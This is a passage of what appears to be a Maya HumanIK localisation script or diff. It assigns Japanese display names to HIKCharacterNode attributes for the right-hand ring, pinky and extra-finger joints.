の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitx", "右手薬指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimity", "右手薬指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitz", "右手薬指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitEnablex", "右手薬指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitEnabley", "右手薬指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitEnablez", "右手薬指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitEnablex", "右手薬指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitEnabley", "右手薬指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitEnablez", "右手薬指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2", "右手薬指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2T", "右手薬指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Tx", "右手薬指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Ty", "右手薬指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Tz", "右手薬指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2R", "右手薬指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Rx", "右手薬指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Ry", "右手薬指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Rz", "右手薬指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2S", "右手薬指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Sx", "右手薬指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Sy", "右手薬指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Sz", "右手薬指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateOrder", "右手薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxis", "右手薬指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxisx", "右手薬指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxisy", "右手薬指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxisz", "右手薬指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrient", "右手薬指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrientx", "右手薬指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrienty", "右手薬指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrientz", "右手薬指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimit", "右手薬指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitx", "右手薬指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimity", "右手薬指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitz", "右手薬指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimit", "右手薬指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitx", "右手薬指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimity", "右手薬指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitz", "右手薬指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitEnablex", "右手薬指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitEnabley", "右手薬指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitEnablez", "右手薬指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitEnablex", "右手薬指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitEnabley", "右手薬指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitEnablez", "右手薬指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3", "右手薬指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3T", "右手薬指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Tx", "右手薬指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Ty", "右手薬指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Tz", "右手薬指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3R", "右手薬指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Rx", "右手薬指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Ry", "右手薬指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Rz", "右手薬指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3S", "右手薬指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Sx", "右手薬指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Sy", "右手薬指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Sz", "右手薬指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateOrder", "右手薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxis", "右手薬指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxisx", "右手薬指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxisy", "右手薬指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxisz", "右手薬指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrient", "右手薬指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrientx", "右手薬指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrienty", "右手薬指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrientz", "右手薬指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimit", "右手薬指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitx", "右手薬指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimity", "右手薬指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitz", "右手薬指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimit", "右手薬指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitx", "右手薬指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimity", "右手薬指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitz", "右手薬指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitEnablex", "右手薬指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitEnabley", "右手薬指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitEnablez", "右手薬指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitEnablex", "右手薬指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitEnabley", "右手薬指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitEnablez", "右手薬指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4", "右手薬指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4T", "右手薬指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Tx", "右手薬指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Ty", "右手薬指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Tz", "右手薬指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4R", "右手薬指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Rx", "右手薬指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Ry", "右手薬指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Rz", "右手薬指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4S", "右手薬指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Sx", "右手薬指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Sy", "右手薬指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Sz", "右手薬指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateOrder", "右手薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxis", "右手薬指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxisx", "右手薬指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxisy", "右手薬指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxisz", "右手薬指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrient", "右手薬指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrientx", "右手薬指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrienty", "右手薬指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrientz", "右手薬指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimit", "右手薬指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitx", "右手薬指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimity", "右手薬指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitz", "右手薬指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimit", "右手薬指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitx", "右手薬指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimity", "右手薬指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitz", "右手薬指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitEnablex", "右手薬指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitEnabley", "右手薬指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitEnablez", "右手薬指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitEnablex", "右手薬指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitEnabley", "右手薬指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitEnablez", "右手薬指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1", "右手小指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1T", "右手小指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Tx", "右手小指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Ty", "右手小指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Tz", "右手小指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1R", "右手小指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Rx", "右手小指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Ry", "右手小指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Rz", "右手小指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1S", "右手小指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Sx", "右手小指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Sy", "右手小指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Sz", "右手小指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", "右手小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxis", "右手小指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxisx", "右手小指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxisy", "右手小指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxisz", "右手小指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrient", "右手小指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrientx", "右手小指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrienty", "右手小指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrientz", "右手小指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimit", "右手小指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitx", "右手小指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimity", "右手小指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitz", "右手小指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimit", "右手小指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitx", "右手小指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimity", "右手小指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitz", "右手小指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitEnablex", "右手小指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitEnabley", "右手小指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitEnablez", "右手小指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitEnablex", "右手小指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitEnabley", "右手小指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitEnablez", "右手小指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2", "右手小指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2T", "右手小指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Tx", "右手小指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Ty", "右手小指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Tz", "右手小指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2R", "右手小指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Rx", "右手小指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Ry", "右手小指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Rz", "右手小指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2S", "右手小指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Sx", "右手小指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Sy", "右手小指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Sz", "右手小指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", "右手小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxis", "右手小指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxisx", "右手小指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxisy", "右手小指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxisz", "右手小指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrient", "右手小指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrientx", "右手小指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrienty", "右手小指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrientz", "右手小指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimit", "右手小指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitx", "右手小指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimity", "右手小指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitz", "右手小指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimit", "右手小指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitx", "右手小指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimity", "右手小指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitz", "右手小指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitEnablex", "右手小指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitEnabley", "右手小指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MinRLimitEnablez", "右手小指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitEnablex", "右手小指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitEnabley", "右手小指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2MaxRLimitEnablez", "右手小指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3", "右手小指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3T", "右手小指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Tx", "右手小指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Ty", "右手小指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Tz", "右手小指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3R", "右手小指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Rx", "右手小指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Ry", "右手小指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Rz", "右手小指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3S", "右手小指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Sx", "右手小指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Sy", "右手小指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3Sz", "右手小指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", "右手小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxis", "右手小指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxisx", "右手小指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxisy", "右手小指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3RotateAxisz", "右手小指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrient", "右手小指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrientx", "右手小指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrienty", "右手小指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3JointOrientz", "右手小指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimit", "右手小指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitx", "右手小指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimity", "右手小指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitz", "右手小指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimit", "右手小指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitx", "右手小指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimity", "右手小指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitz", "右手小指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitEnablex", "右手小指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitEnabley", "右手小指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MinRLimitEnablez", "右手小指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitEnablex", "右手小指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitEnabley", "右手小指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky3MaxRLimitEnablez", "右手小指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4", "右手小指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4T", "右手小指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Tx", "右手小指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Ty", "右手小指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Tz", "右手小指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4R", "右手小指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Rx", "右手小指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Ry", "右手小指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Rz", "右手小指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4S", "右手小指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Sx", "右手小指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Sy", "右手小指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4Sz", "右手小指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", "右手小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxis", "右手小指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxisx", "右手小指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxisy", "右手小指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4RotateAxisz", "右手小指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrient", "右手小指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrientx", "右手小指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrienty", "右手小指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4JointOrientz", "右手小指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimit", "右手小指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitx", "右手小指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimity", "右手小指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitz", "右手小指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimit", "右手小指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitx", "右手小指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimity", "右手小指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitz", "右手小指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitEnablex", "右手小指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitEnabley", "右手小指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MinRLimitEnablez", "右手小指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitEnablex", "右手小指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitEnabley", "右手小指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky4MaxRLimitEnablez", "右手小指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1", "右手追加指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1T", "右手追加指 1 T" ); 